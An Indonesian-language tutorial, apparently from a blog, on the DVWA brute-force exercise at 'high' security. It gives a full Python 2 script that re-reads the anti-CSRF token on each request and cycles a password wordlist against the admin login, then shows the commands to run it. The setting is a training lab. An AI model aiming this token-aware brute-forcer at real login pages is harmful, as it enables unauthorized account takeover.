Pada level high ini, server akan melakukan validasi Anti-CSRF token terlebih dahulu. Dan jika gagal melakukan login akan terjadi delay 0-3 detik.
Singkatnya, Anti-CSRF token adalah token yang bersifat unik (setiap adanya request baru nilanya akan berubah) yang digunakan untuk memastikan user melakukan request secara resmi.
Jika kita melakukan inspect element, maka akan terlihat terdapat tag input bertipe hidden dengan nama user_token beserta nilainya.
Nilai dari token tersebut akan selalu berubah ketika kita melakukan request yang baru (coba saja anda refresh, pasti hasilnya akan berbeda).
Jika kita memaksa untuk menggunakan nilai yang sama, maka request akan gagal dilakukan dan halaman akan di-redirect ke form login kembali.
Untuk menghadapi masalah ini kita tidak bisa menggunakan Hydra lagi, karena tidak bisa mengatasi Anti-CSRF token yang selalu berubah-ubah. Oleh karena itu, kita akan melakukan brute force dengan membuat script sendiri menggunakan bahasa Python.
nano bruteforce.py/Tulis script berikutfrom sys import argvimport requestsfrom BeautifulSoup import BeautifulSoup as Soup​# give our arguments more semantic friendly namesscript, filename, success_message = argvtxt =open(filename)​# set up our target, cookie and sessionurl ='http://172.17.0.2/vulnerabilities/brute/index.php'cookie ={'security':'high','PHPSESSID':'77jr5376ldag1qc392brdr2b11'}s = requests.Session()target_page = s.get(url, cookies=cookie)​''' checkSuccess@param: html (String)​Searches the response HTML for our specified success message'''defcheckSuccess(html):# get our soup ready for searching soup =Soup(html)# check for our success message in the soup search = soup.findAll(text=success_message)ifnot search: success =False​else: success =True​# return the brute force resultreturn success​# Get the intial CSRF token from the target sitepage_source = target_page.textsoup =Soup(page_source);csrf_token = soup.findAll(attrs={"name": "user_token"})[0].get('value')​# Display before attackprint'DVWA URL'+ urlprint'CSRF Token='+ csrf_token​# Loop through our provided password filewithopen(filename)as f:print'Running brute force attack...'for password in f:​# Displays password tries and strips whitespace from password list print'password tryed: '+ password password = password.strip()​# setup the payload payload ={'username':'admin','password': password,'Login':'Login','user_token': csrf_token} r = s.get(url, cookies=cookie, params=payload) success =checkSuccess(r.text)​ifnot success:# if it failed the CSRF token will be changed. Get the new one soup =Soup(r.text) csrf_token = soup.findAll(attrs={"name": "user_token"})[0].get('value')else:# Success! Show the resultprint'Password is: '+ passwordbreak​# We failed, bummer. ifnot success:print'Brute force failed. No matches found.'
Melakukan Serangan
Pertama, kita siapkan dulu script-nya seperti berikut:
Script tersebut saya dapatkan ketika membaca artikel Danny Beton.
Script tersebut menggunakan Python2. Sebelum menjalankannya, pastikan dependensi telah terinstall.
sudopipinstallrequestssudopipinstallbeautifulsoup
Untuk menjalankan script tersebut, kita membutuhkan parameter untuk nama file wordlist dan pesan sukses untuk menentukan keberhasilannya, seperti berikut:
python2.7bruteforce.pyDVWA-Wordlist.txt"Welcome to the password protected area admin"
Jika berhasil, akan muncul password yang valid seperti gambar di atas.